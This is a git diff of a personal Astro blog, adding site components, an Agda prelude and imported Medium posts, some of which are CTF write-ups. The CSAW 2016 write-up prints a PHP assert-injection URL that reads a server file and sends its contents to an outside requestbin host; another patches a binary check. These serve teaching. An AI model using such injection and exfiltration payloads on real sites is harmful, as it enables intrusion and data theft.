import { mkdtempSync, readFileSync, writeFileSync } from "node:fs";
import { visit } from "unist-util-visit";
import { join } from "node:path";
import { spawnSync } from "node:child_process";
import { tmpdir } from "node:os";
const remarkTypst: RemarkPlugin = () => {
const tmp = mkdtempSync(join(tmpdir(), "typst"));
let ctr = 0;
return (tree) => {
visit(
tree,
(node) => node.type === "code" && node.lang === "typst",
(node, index, parent) => {
const doc = join(tmp, `${ctr}.typ`);
const docOut = join(tmp, `${ctr}.svg`);
ctr += 1;
writeFileSync(doc, node.value);
const result = spawnSync(
"typst",
[
"compile",
"--format",
"svg",
doc,
],
{},
);
console.log("OUTPUT", result.stderr.toString());
const svgOut = readFileSync(docOut);
node.type = "html";
node.value = svgOut.toString();
},
);
};
};
export default remarkTypst;

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did:plc:zbg2asfcpyughqspwjjgyc2d

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User-agent: *
Allow: /
Disallow: /drafts

13
scripts/upload-builder.sh Executable file
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@ -0,0 +1,13 @@
#!/usr/bin/env bash
set -euo pipefail
nix build .#docker-builder
IMAGE_NAME=$(docker load -q -i ./result | cut -d':' -f2,3 | xargs)
REMOTE_IMAGE_NAME="git.mzhang.io/michael/$IMAGE_NAME"
docker image tag "$IMAGE_NAME" "$REMOTE_IMAGE_NAME"
sed -i -E "s~(.*image: ).*blog-docker-builder:?.*~\1$REMOTE_IMAGE_NAME~" .woodpecker.yml
echo "Created $REMOTE_IMAGE_NAME"
docker push -q "$REMOTE_IMAGE_NAME"

95
src/Prelude.agda Normal file
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@ -0,0 +1,95 @@
{-# OPTIONS --cubical-compatible #-}
module Prelude where
open import Agda.Primitive
private
variable
l : Level
data : Set where
rec-⊥ : {A : Set} A
rec-⊥ ()
¬_ : Set Set
¬ A = A
data : Set where
tt :
data Bool : Set where
true : Bool
false : Bool
id : {l : Level} {A : Set l} A A
id x = x
module Nat where
data : Set where
zero :
suc :
{-# BUILTIN NATURAL #-}
infixl 6 _+_
_+_ :
zero + n = n
suc m + n = suc (m + n)
open Nat public
infix 4 _≡_
data _≡_ {l} {A : Set l} : (a b : A) Set l where
instance refl : {x : A} x x
{-# BUILTIN EQUALITY _≡_ #-}
ap : {A B : Set l} (f : A B) {x y : A} x y f x f y
ap f refl = refl
sym : {A : Set l} {x y : A} x y y x
sym refl = refl
trans : {A : Set l} {x y z : A} x y y z x z
trans refl refl = refl
infixl 10 _∙_
_∙_ = trans
transport : {l₁ l₂ : Level} {A : Set l₁} {x y : A}
(P : A Set l₂)
(p : x y)
P x P y
transport {l₁} {l₂} {A} {x} {y} P refl = id
infix 4 _≢_
_≢_ : {A : Set} A A Set
x y = ¬ (x y)
module dependent-product where
infixr 4 _,_
infixr 2 _×_
record Σ {l₁ l₂} (A : Set l₁) (B : A Set l₂) : Set (l₁ l₂) where
constructor _,_
field
fst : A
snd : B fst
open Σ
{-# BUILTIN SIGMA Σ #-}
syntax Σ A (λ x B) = Σ[ x A ] B
_×_ : {l : Level} (A B : Set l) Set l
_×_ A B = Σ A (λ _ B)
open dependent-product public
_∘_ : {A B C : Set} (g : B C) (f : A B) A C
(g f) a = g (f a)
__ : {A B : Set} (f g : A B) Set
__ {A} f g = (x : A) f x g x
postulate
funExt : {l : Level} {A B : Set l}
{f g : A B}
((x : A) f x g x)
f g

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@ -1,16 +1,27 @@
--- ---
import "../styles/footer.scss"; import "../styles/footer.scss";
import { execSync } from "node:child_process";
const dateUpdated = new Date();
const gitRevShort = execSync("git rev-parse --short HEAD").toString().trim();
const gitRev = execSync("git rev-parse HEAD").toString().trim();
--- ---
<footer> <footer>
<p> <p>
Blog code licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.txt" target="_blank" Blog theme and contents written by Michael Zhang with the <a
>[GPL-3.0]</a href="https://astro.build/"
>. Post contents licensed under <a target="_blank"
href="https://creativecommons.org/licenses/by-sa/4.0/legalcode.txt">[CC BY-SA 4.0]</a rel="noreferrer noopener">Astro</a
> framework.
<br />
Last updated {dateUpdated.toLocaleString(undefined, { dateStyle: "full" })} at commit
<a
href={`https://git.mzhang.io/michael/blog/commit/${gitRev}`}
class="colorlink"
target="_blank">{gitRevShort}</a
>. >.
<br /> <br />
Written by Michael Zhang. <a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">Source code</a>.
<a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">[Source]</a>.
</p> </p>
</footer> </footer>

View file

@ -0,0 +1,7 @@
---
interface Props {}
const {} = Astro.props;
console.log("SHIET", Astro.props);
console.log("SHIET", await Astro.slots.render("default"));
---

View file

@ -4,15 +4,21 @@ import { Content as ShortBio } from "../content/partials/shortBio.md";
import links from "../data/links"; import links from "../data/links";
import { Image } from "astro:assets"; import { Image } from "astro:assets";
import portrait from "../assets/self.png"; import portrait from "../assets/self.png";
const target = Astro.url.pathname === "/" ? "/about/" : "/";
--- ---
<nav class="side-nav"> <nav class="side-nav">
<div class="side-nav-content"> <div class="side-nav-content">
<a href="/" class="portrait"> <a href={target} class="portrait" data-astro-prefetch>
<Image src={portrait} alt="portrait" class="portrait" /> <Image src={portrait} alt="portrait" class="portrait" width={350} height={350} loading="eager" />
</a> </a>
<div class="me"> <div class="me">
<h1 class="title">Michael Zhang</h1> <div class="titleContainer">
<h1 class="title">
<a href={target} data-astro-prefetch>Michael Zhang</a>
</h1>
</div>
<div class="links"> <div class="links">
{ {
links.map((link) => { links.map((link) => {
@ -28,7 +34,7 @@ import portrait from "../assets/self.png";
<div class="bio"> <div class="bio">
<ShortBio /> <ShortBio />
<a href="/about">More &raquo;</a> <a href="/about/">More &raquo;</a>
</div> </div>
</div> </div>
</nav> </nav>

View file

@ -2,35 +2,75 @@
import { getCollection, type CollectionEntry } from "astro:content"; import { getCollection, type CollectionEntry } from "astro:content";
import Timestamp from "./Timestamp.astro"; import Timestamp from "./Timestamp.astro";
import { sortBy } from "lodash-es"; import { sortBy } from "lodash-es";
import TagList from "./TagList.astro";
interface Props { interface Props {
basePath: string; basePath: string;
includeDrafts?: boolean; /** Whether or not to include drafts in this list */
drafts?: "exclude" | "include" | "only";
filteredPosts?: Post[];
class?: string | undefined;
timeFormat?: string | undefined;
collection?: string;
} }
type Post = CollectionEntry<"posts">; type Post = CollectionEntry<"posts">;
const { basePath, includeDrafts } = Astro.props; const {
const filter = includeDrafts ? (_: Post) => true : (post: Post) => !post.data.draft; class: className,
const allPosts = await getCollection("posts", filter); basePath,
drafts: includeDrafts,
filteredPosts,
timeFormat,
collection,
} = Astro.props;
type FilterFn = (_: Post) => boolean;
function unreachable(): never {
throw new Error("unreachable");
}
function getFilter(): FilterFn {
switch (includeDrafts) {
case "exclude":
case undefined:
return (post: Post) => !post.data.draft;
case "include":
return (_: Post) => true;
case "only":
return (post: Post) => post.data.draft === true;
}
return unreachable();
}
const filter = getFilter();
let allPosts;
if (filteredPosts) allPosts = filteredPosts.filter(filter);
else allPosts = await getCollection(collection ?? "posts", filter);
const sortedPosts = sortBy(allPosts, (post) => -post.data.date); const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
--- ---
<table class="postListing"> <table class={`postListing ${className}`}>
{ {
sortedPosts.map((post) => { sortedPosts.map((post) => {
return ( return (
<tr class="row"> <>
<td class="info"> <tr class="row">
<Timestamp timestamp={post.data.date} /> <td>
</td> <div class="title">
<td> <a href={`${basePath}/${post.slug}/`} class="brand-colorlink">
<span class="title"> {post.data.title}
<a href={`${basePath}/${post.slug}`} class="brand-colorlink"> </a>
{post.data.title} </div>
</a> <div>
</span> <Timestamp timestamp={post.data.date} format={timeFormat} />
</td> &middot;
</tr> <TagList tags={post.data.tags} />
</div>
</td>
</tr>
</>
); );
}) })
} }
@ -39,14 +79,32 @@ const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
<style lang="scss"> <style lang="scss">
.postListing { .postListing {
width: 100%; width: 100%;
border-spacing: 6px; border-spacing: 0px 24px;
:global(.timestamp) {
font-family: var(--monofont);
color: var(--smaller-text-color);
font-size: 0.75em;
}
:global(.tags) {
gap: 8px;
display: inline-flex;
:global(.tag) {
background-color: inherit;
padding: 0;
}
}
td { td {
// padding-bottom: 10px; line-height: 1;
// line-height: 1; display: flex;
flex-direction: column;
gap: 4px;
.title { .title {
font-size: 1.1em; font-size: 12pt;
} }
.summary { .summary {
@ -65,6 +123,11 @@ const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
font-size: 0.75em; font-size: 0.75em;
white-space: nowrap; white-space: nowrap;
text-align: right; text-align: right;
vertical-align: baseline;
.spacer {
font-size: 12pt;
}
} }
} }
</style> </style>

View file

@ -0,0 +1,18 @@
---
import "../styles/tagList.scss";
const { extraFront, tags, extraBack } = Astro.props;
---
<div class="tags">
{extraFront}
{
tags.toSorted().map((tag: string) => (
<a href={`/tags/${tag}/`} class="tag">
<i class="fa fa-tag" aria-hidden="true" />
<span class="text">#{tag}</span>
</a>
))
}
{extraBack}
</div>

View file

@ -1,14 +1,13 @@
--- ---
interface Props { interface Props {
timestamp: Date; timestamp: Date;
format?: string | undefined;
} }
const { timestamp } = Astro.props; const { timestamp, format: customFormat } = Astro.props;
const datestamp = timestamp.toLocaleDateString(undefined, { import { format } from "date-fns";
year: "numeric",
month: "short",
day: "numeric",
});
--- ---
<span title={timestamp.toISOString()}>{datestamp}</span> <span class="timestamp" title={timestamp.toISOString()}>
{format(timestamp, customFormat ?? "yyyy MMM dd")}
</span>

View file

@ -0,0 +1,128 @@
---
import type { MarkdownHeading } from "astro";
import "../styles/toc.scss";
interface Props {
toc: boolean;
headings: MarkdownHeading[];
}
const { toc, headings } = Astro.props;
const minDepth = Math.min(...headings.map((heading) => heading.depth));
---
{
toc ? (
<>
<div class="toc-wrapper">
<slot />
<div class="toc">
<h3 class="title">Table of contents</h3>
<ul>
{headings.map((heading) => {
const depth = heading.depth - minDepth;
const padding = 10 * Math.pow(0.85, depth);
const fontSize = 14 * Math.pow(0.9, depth);
return (
<li>
<a
href={`#${heading.slug}`}
id={`${heading.slug}-link`}
style={`padding: ${padding}px;`}
>
<span style={`padding-left: ${depth * 10}px; font-size: ${fontSize}px;`}>
{heading.text}
</span>
</a>
</li>
);
})}
</ul>
</div>
</div>
</>
) : (
<slot />
)
}
<script define:vars={{ toc, headings }}>
if (toc) {
const headingTags = new Set(["h1", "h2", "h3", "h4", "h5", "h6"]);
const headingsMap = new Map([...headings.map((heading) => [heading.slug, new Set()])]);
const reverseHeadingMap = new Map();
const linkMap = new Map();
document.addEventListener("DOMContentLoaded", function () {
const visibleElements = new Map();
// Register links
for (const heading of headings) {
const link = document.getElementById(`${heading.slug}-link`);
const el = document.getElementById(heading.slug);
if (link && el) {
linkMap.set(heading.slug, link);
link.addEventListener("click", (e) => {
el.scrollIntoView({ behavior: "smooth" });
e.preventDefault();
});
}
if (!visibleElements.has(heading.slug)) {
visibleElements.set(heading.slug, new Set());
}
}
const observer = new IntersectionObserver((entries) => {
for (const entry of entries) {
const target = entry.target;
const slug = reverseHeadingMap.get(target);
const link = linkMap.get(slug);
const associatedEls = visibleElements.get(slug);
if (entry.isIntersecting) {
// if it wasn't previously visible
// let's make the link active
if (associatedEls.size === 0) {
link.parentNode.classList.add("active");
}
associatedEls.add(target);
} else {
// if it was previously visible
// check if it's the last element
if (associatedEls.size > 0) {
if (associatedEls.size === 1) link.parentNode.classList.remove("active");
}
if (associatedEls.size > 0) {
associatedEls.delete(target);
}
ratioMap.delete(target);
}
}
});
const postContentEl = document.getElementById("post-content");
let belongsTo;
for (const child of postContentEl.children) {
if (headingTags.has(child.tagName.toLowerCase())) {
belongsTo = child.id;
}
if (belongsTo) {
const headingSet = headingsMap.get(belongsTo);
headingSet.add(child);
reverseHeadingMap.set(child, belongsTo);
}
}
[...headingsMap.values()]
.flatMap((x) => [...x])
.forEach((x) => {
observer.observe(x);
});
});
}
</script>

View file

@ -1,5 +1,5 @@
// Place any global data in this file. // Place any global data in this file.
// You can import this data from anywhere in your site by using the `import` keyword. // You can import this data from anywhere in your site by using the `import` keyword.
export const SITE_TITLE = 'Astro Blog'; export const SITE_TITLE = "Michael's Blog";
export const SITE_DESCRIPTION = 'Welcome to my website!'; export const SITE_DESCRIPTION = "Michael's Blog";

View file

@ -4,25 +4,31 @@ const posts = defineCollection({
type: "content", type: "content",
// Type-check frontmatter using a schema // Type-check frontmatter using a schema
schema: z.object({ schema: ({ image }) =>
title: z.string(), z.object({
date: z.date(), title: z.string(),
date: z.date(),
// Transform string to Date object // Transform string to Date object
pubDate: z pubDate: z
.string() .string()
.or(z.date()) .or(z.date())
.transform((val) => new Date(val)) .transform((val) => new Date(val))
.optional(), .optional(),
updatedDate: z updatedDate: z
.string() .string()
.optional() .optional()
.transform((str) => (str ? new Date(str) : undefined)) .transform((str) => (str ? new Date(str) : undefined))
.optional(), .optional(),
tags: z.array(z.string()), heroImage: image().optional(),
draft: z.boolean().default(false), heroAlt: z.string().optional(),
}),
tags: z.array(z.string()).default([]),
draft: z.boolean().default(false),
math: z.boolean().default(false),
toc: z.boolean().default(false),
}),
}); });
export const collections = { posts }; export const collections = { posts };

View file

@ -1,8 +1,15 @@
I'm a masters student at the University of Minnesota advised by [Favonia]. I I'm a computer science master's student at the [University of Minnesota][1], advised by [Favonia].
previously worked as a Software Developer at [AWS] and [SIFT]. My My current research topic is in cubical type theory and formalization of the Serre spectral sequence.
computing-related interests lie in programming language design and formal
verification, systems security, cryptography, and distributed systems.
I've also worked as a researcher for [SIFT], specializing in compilers and binary analysis. Previously I worked as a software engineer at [Swoop Search] and [AWS].
Before that, I was a CTF hobbyist. I created [EasyCTF], a cybersecurity competition for high schoolers.
I also briefly played with the CTF team [Project Sekai][pjsk].
[1]: https://twin-cities.umn.edu/
[Swoop Search]: https://swoopsrch.com/
[aws]: https://aws.amazon.com/ [aws]: https://aws.amazon.com/
[sift]: https://www.sift.net/ [sift]: https://www.sift.net/
[favonia]: https://favonia.org/ [favonia]: https://favonia.org/
[easyctf]: https://www.easyctf.com/
[pjsk]: https://sekai.team/

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@ -0,0 +1,31 @@
---
title: How to accomplish something.
date: 2014-12-28T06:18:06.940Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="subtitle" class="p-summary">
Its really simple.
</section>
<section data-field="body" class="e-content">
<section name="d840" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="c074" id="c074" class="graf graf--p graf-after--h3">Dont.</p>
<p name="8add" id="8add" class="graf graf--p graf-after--p">Give.</p>
<p name="2290" id="2290" class="graf graf--p graf-after--p">Up.</p>
<p name="6014" id="6014" class="graf graf--p graf-after--p graf--trailing">Simple.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/f5c2ca623a76"><time class="dt-published"
datetime="2014-12-28T06:18:06.940Z">December 28, 2014</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/how-to-accomplish-something-f5c2ca623a76"
class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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@ -0,0 +1,74 @@
---
title: A Much-Needed Apology
date: 2015-03-19T23:34:26.674Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="276e" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="cbee" id="cbee" class="graf graf--p graf-after--h3">If youre participating in CTCTF this week, I
know it has been a hard week, and I have a huge apology to make, about several things.</p>
<p name="aa08" id="aa08" class="graf graf--p graf-after--p">I should not have helped out with this CTF. I
didnt have much time to work on it, I was busy with school, and it really wasnt a good time for me to be
doing it. However, I was really stupid so I decided to jump in anyway.</p>
<p name="def7" id="def7" class="graf graf--p graf-after--p"><strong
class="markup--strong markup--p-strong">If youre in a rush, and you dont care about all this stuff,
skip down to the bottom for the final hint.</strong></p>
<h4 name="dae6" id="dae6" class="graf graf--h4 graf-after--p">Backend</h4>
<p name="a52e" id="a52e" class="graf graf--p graf-after--h4">The website backend problems were completely my
fault. Things like the problems page saying your problem was unsolved when you actually received points
for it, or not being able to submit answers for problems because it said “Youve already tried this.” Part
of this was not havingenough time to thoroughly test the server and catch all the problems.</p>
<h4 name="a9f0" id="a9f0" class="graf graf--h4 graf-after--p">IRC</h4>
<p name="6939" id="6939" class="graf graf--p graf-after--h4">This really isnt my problem. But Ill address
it anyway. The biggest problem was the choice of using Pdgn server. It works well for its purpose, and
does serve all its values. But it was too underdeveloped to use in an actual CTF, lacking features
including:</p>
<ul class="postList">
<li name="c5b2" id="c5b2" class="graf graf--li graf-after--p">Authenticationpeople just stole other
peoples usernames.</li>
<li name="379e" id="379e" class="graf graf--li graf-after--li">Operatorswe lost all ops in the original
channel <em class="markup--em markup--li-em">and</em> the new channel.</li>
<li name="033c" id="033c" class="graf graf--li graf-after--li">Connection issues—we got lots of ECONNRESET
issues with KiwiIRC.</li>
</ul>
<h4 name="dd66" id="dd66" class="graf graf--h4 graf-after--li">Problems</h4>
<p name="1114" id="1114" class="graf graf--p graf-after--h4">I dont know what to say about this. I urged
the other team members to shorten the duration of the competition to 3 days, but they wouldnt budge, so
we ended up having a 7-day competition with only 20 easy problems. My friend said he solved all but 2 of
them in an hour.</p>
<p name="e3aa" id="e3aa" class="graf graf--p graf-after--p">We werent even going to use 1023megabytes
originally. But because of the immediate lack of problems, I figured we would need it.</p>
<p name="ebdb" id="ebdb" class="graf graf--p graf-after--p">When the competition started, there were only 18
questions up. I wrote “3 hard 3 me” in about 15 minutes during class. If youre running a competition,
youd want to keep your participants interests as long as possible; theres no point if everyone quits
after a daywhich is basically what happened.</p>
<p name="6d7d" id="6d7d" class="graf graf--p graf-after--p">I figured the purpose of creating such an
insanely BS problem was to keep people interested in the CTF, but also to keep the mods (who are on the
verge of quitting) motivated to keep going. I originally planned to give a lot of hints, and here is the
last one.</p>
<h4 name="110a" id="110a" class="graf graf--h4 graf-after--p">Hints</h4>
<p name="a74e" id="a74e" class="graf graf--p graf-after--h4">This is the final hint for “3 hard 3 me”: base
16, base 2, base 3.</p>
<p name="25ea" id="25ea" class="graf graf--p graf-after--p">For 1023megabytes, you probably already made
some connection between me and a group called the Donut Mafia. Try to find our fundraising website, and
the flag will be on a userpage.</p>
<p name="a67a" id="a67a" class="graf graf--p graf-after--p graf--trailing">I feel like I owe this to
everyone for a bad competition and hope you forgive me for all these mistakes. They wont happen again. I
guess Ill see you guys at the next CTF.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/8f50537a8932"><time class="dt-published" datetime="2015-03-19T23:34:26.674Z">March
19, 2015</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/a-much-needed-apology-8f50537a8932" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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@ -0,0 +1,44 @@
---
title: "Pwnable.kr: fd (1)"
date: 2015-10-20T18:20:38.431Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="1d23" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="ec7e" id="ec7e" class="graf graf--p graf-after--h3">This is my first writeup. The problem reads:
</p>
<blockquote name="b33e" id="b33e" class="graf graf--blockquote graf-after--p">Mommy! what is a file
descriptor in Linux?<br>ssh fd@pwnable.kr -p2222 (pw:guest)</blockquote>
<p name="0cc2" id="0cc2" class="graf graf--p graf-after--blockquote">Since it tells us to SSH to their
server, well do that. Upon logging in, we find fd, an executable binary, fd.c, the source file, and flag,
the target file we are trying to read, but is currently protected by root. Lets begin by analyzing fd.c.
</p>
<p name="3ba1" id="3ba1" class="graf graf--p graf-after--p">At the if statement, the program is checking buf
against the string LETMEWIN. Where is buf being read? Its being read from a variable called fd, which is
a <a href="https://en.wikipedia.org/wiki/File_descriptor"
data-href="https://en.wikipedia.org/wiki/File_descriptor" class="markup--anchor markup--p-anchor"
rel="noopener" target="_blank"><strong class="markup--strong markup--p-strong">file
descriptor</strong></a>. Since the only way we can give input to the program is STDIN_FILENO, we have
to make sure fd is set to 0.</p>
<p name="a905" id="a905" class="graf graf--p graf-after--p">According to the code, fd is calculated by atoi(
argv[1] )0x1234: it converts the user input into an integer and subtracts 0x1234, or 4660 in decimal.
To make fd equal to 0, we simply pass 4660 as an argument. This should cause the program to prompt us for
input. Now we just enter LETMEWIN, and it should print out the flag :)</p>
<blockquote name="8dca" id="8dca" class="graf graf--blockquote graf-after--p graf--trailing">mommy! I think
I know what a file descriptor is!!</blockquote>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/f9b66ed3a312"><time class="dt-published"
datetime="2015-10-20T18:20:38.431Z">October 20, 2015</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/pwnable-kr-fd-1-f9b66ed3a312" class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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@ -0,0 +1,34 @@
---
title: So. I started a blog.
date: 2016-09-07T20:18:04.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="3307" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="d54d" id="d54d" class="graf graf--p graf-after--h3">Hi. Im Michael, a college freshman at the
University of Minnesota. I love writing code, and I would frequently participate in capture-the-flag (CTF)
competitions! I might be posting more about those here.</p>
<p name="138d" id="138d" class="graf graf--p graf-after--p">Ill use this space to rant about life. And post
CTF writeups too (maybe).</p>
<p name="2f45" id="2f45" class="graf graf--p graf-after--p graf--trailing">Im really trying to change my
study/life habits now that I have more freedom. More specifically, going to sleep at 3:00am every day
isnt going to work anymore. Recently I started waking up at 6:15am and I think getting things done in the
morning is even easier than getting things done at night for me. Only problem is the waking up part. Ill
try it for a couple weeks and Ill let you guys know how it goes.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/f2d0db8a955d"><time class="dt-published"
datetime="2016-09-07T20:18:04.000Z">September 7, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/so-i-started-a-blog-f2d0db8a955d" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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@ -0,0 +1,98 @@
---
title: CSAW CTF 2016 Quals
date: 2016-09-18T23:04:12.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="81bc" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="3250" id="3250" class="graf graf--p graf-after--h3">Over the weekend, I worked with the team
Gophers in the Shell on CSAW CTF 2016. We ended up placing 317th place, with 401 points. Here Im going to
document the problems that I solved during the competition.</p>
<h3 name="74cf" id="74cf" class="graf graf--h3 graf-after--p">Coinslot</h3>
<p name="7bae" id="7bae" class="graf graf--p graf-after--h3">For 25 points, the objective of this problem is
to output which coins/bills are needed for a given amount of money. When you connect to the server, it
will give you an amount in the form of $100.00 and then proceed to ask questions like $10,000 bills?. To
do this, I wrote a Python client to interact with the server.</p>
<pre name="7d34" id="7d34"
class="graf graf--pre graf-after--p">import socket<br>s = socket.socket()<br>s.connect((“misc.chal.csaw.io”, 8000))</pre>
<pre name="8c45" id="8c45"
class="graf graf--pre graf-after--pre">def recv(end=\n):<br> c, t = , <br> while c != end:<br> c = s.recv(1)<br> t += c<br> return t</pre>
<p name="79eb" id="79eb" class="graf graf--p graf-after--pre">This code will open a connection to the server
and read input until a certain character is reached. The algorithm for this problem is rather simple;
starting from the largest denomination ($10,000 bills), check if the remaining amount is greater than the
denomination (in other words, if that bill/coin can be used to pay the remaining amount), and then
subtract the largest multiple of that bill/coin from the remaining amount. In code, that looks like this:
</p>
<pre name="8793" id="8793"
class="graf graf--pre graf-after--p">r = recv()<br>amt = int(r.strip(“$”).strip().replace(“.”, “”))<br>print amt<br>for denom in denoms:<br> n = amt // denom<br> s.send(“%d\n” % n)<br> amt %= denom<br>recv()</pre>
<p name="2a5d" id="2a5d" class="graf graf--p graf-after--pre">Upon success, the server will then ask another
amount. I didnt keep track of how many times it asked, but I wrapped the above code in a <code
class="markup--code markup--p-code">while True</code> loop and eventually I got the flag.</p>
<h3 name="bc76" id="bc76" class="graf graf--h3 graf-after--p">mfw</h3>
<p name="0e1b" id="0e1b" class="graf graf--p graf-after--h3">In this challenge we were presented with a site
with a navigation bar. On the About page, it tells you that the site was made with Git, PHP, and
Bootstrap. Upon seeing git, I immediately thought to check if the <code
class="markup--code markup--p-code">.git</code> folder was actually stored in the www root, and it was!
I ripped the git folder off the site and cloned it to restore the original folder structure.</p>
<p name="34a9" id="34a9" class="graf graf--p graf-after--p">There was a <code
class="markup--code markup--p-code">flag.php</code> in the templates folder, but the actual flag was
missing. That means I had to retrieve the flag from the actual server.</p>
<p name="c3f9" id="c3f9" class="graf graf--p graf-after--p">From the way the navigation bar was constructed,
it looks like I need to use local file inclusion. But I couldnt use phps <code
class="markup--code markup--p-code">base64</code> filter to print the contents of <code
class="markup--code markup--p-code">flag.php</code> because the <code
class="markup--code markup--p-code">$file</code> variable will stick ”templates/” to the front of the
given page before its <code class="markup--code markup--p-code">require_once</code>d.</p>
<p name="c2bf" id="c2bf" class="graf graf--p graf-after--p">The trick to solving this one is injecting PHP
commands in the assert statements. I suspect that writing to the filesystem has been blocked. So instead,
I made a <a href="http://requestb.in" data-href="http://requestb.in"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">requestbin</a> that I would make
a GET request to, containing the contents of <code class="markup--code markup--p-code">flag.php</code>!
</p>
<p name="61df" id="61df" class="graf graf--p graf-after--p">The page I requested was:</p>
<pre name="8255" id="8255"
class="graf graf--pre graf-after--p">http://web.chal.csaw.io:8000/?page=flag%27+%2B+fopen%28%27http%3A%2F%2Frequestb.in%2F1l5k31z1%3Fp%3D%27+.+urlencode%28file_get_contents%28%27templates%2Fflag.php%27%29%29%2C+%27r%27%29+%2B+%27</pre>
<p name="80fb" id="80fb" class="graf graf--p graf-after--pre">Un-URL encoded, this looks like:</p>
<pre name="4d99" id="4d99"
class="graf graf--pre graf-after--p">flag + fopen(http://requestb.in/1l5k31z1?p=&#39; . urlencode(file_get_contents(templates/flag.php)), r) + </pre>
<p name="e3c2" id="e3c2" class="graf graf--p graf-after--pre">As you can see, Im reading the contents of
<code class="markup--code markup--p-code">flag.php</code>, URL-encoding it, and sending it to this
requestbin. This way, I can retrieve it from the requestbin later.
</p>
<h3 name="1a12" id="1a12" class="graf graf--h3 graf-after--p">Gametime</h3>
<p name="b5b0" id="b5b0" class="graf graf--p graf-after--h3">I got this close to the end of the competition,
but it suddenly hit me that if I just invert the condition of (if you hit the right key), then it will
think you win if you do absolutely nothing. Since they distributed the binary file instead of hosting it
on a server, this means I could just patch the binary file and re-run it.</p>
<p name="5875" id="5875" class="graf graf--p graf-after--p">I opened the exe in IDA, and used Alt+T to
search for <code class="markup--code markup--p-code">UDDER FAILURE</code>, the string it prints when you
fail. It actually occurs twice in the program, first during the “tutorial” level, and then during the
actual thing.</p>
<p name="3165" id="3165" class="graf graf--p graf-after--p">In both instances, right above where it prints
<code class="markup--code markup--p-code">UDDER FAILURE</code>, there is a <code
class="markup--code markup--p-code">jnz</code> that checks if the key you pressed was right. More
specifically, this occurs at <code class="markup--code markup--p-code">004014D5</code> and <code
class="markup--code markup--p-code">00401554</code>. To invert the condition, I had to change <code
class="markup--code markup--p-code">jnz</code> to <code class="markup--code markup--p-code">jz</code>.
In opcodes, thats <code class="markup--code markup--p-code">75</code> and <code
class="markup--code markup--p-code">74</code>.
</p>
<p name="b409" id="b409" class="graf graf--p graf-after--p graf--trailing">Then I just ran the program
again, and waited for it to pass all the checks, and I got the flag!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/f9c51dffa34"><time class="dt-published"
datetime="2016-09-18T23:04:12.000Z">September 18, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/csaw-ctf-2016-quals-f9c51dffa34" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -0,0 +1,186 @@
---
title: H4CK1T CTF 2016
date: 2016-10-02T20:46:42.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="efb5" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="1568" id="1568" class="graf graf--p graf-after--h3">Over the past week, I again worked with Gophers
in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points.
Here are some of my writeups.</p>
<h3 name="6a51" id="6a51" class="graf graf--h3 graf-after--p">Algeria (250)</h3>
<p name="dab1" id="dab1" class="graf graf--p graf-after--h3">In this task we are given an encrypted image as
well as the encryption script. The script looks like this (condensed):</p>
<pre name="7b4d" id="7b4d"
class="graf graf--pre graf-after--p">x = random.randint(1,255)<br>y = random.randint(1,255)</pre>
<pre name="4540" id="4540"
class="graf graf--pre graf-after--pre">img_pix.putpixel((0,0),(len(FLAG),x,y))</pre>
<pre name="636c" id="636c"
class="graf graf--pre graf-after--pre">for l in FLAG:<br> x1 = random.randint(1,255)<br> y1 = random.randint(1,255)<br> img_pix.putpixel((x,y),(ord(l),x1,y1))<br> x = x1<br> y = y1</pre>
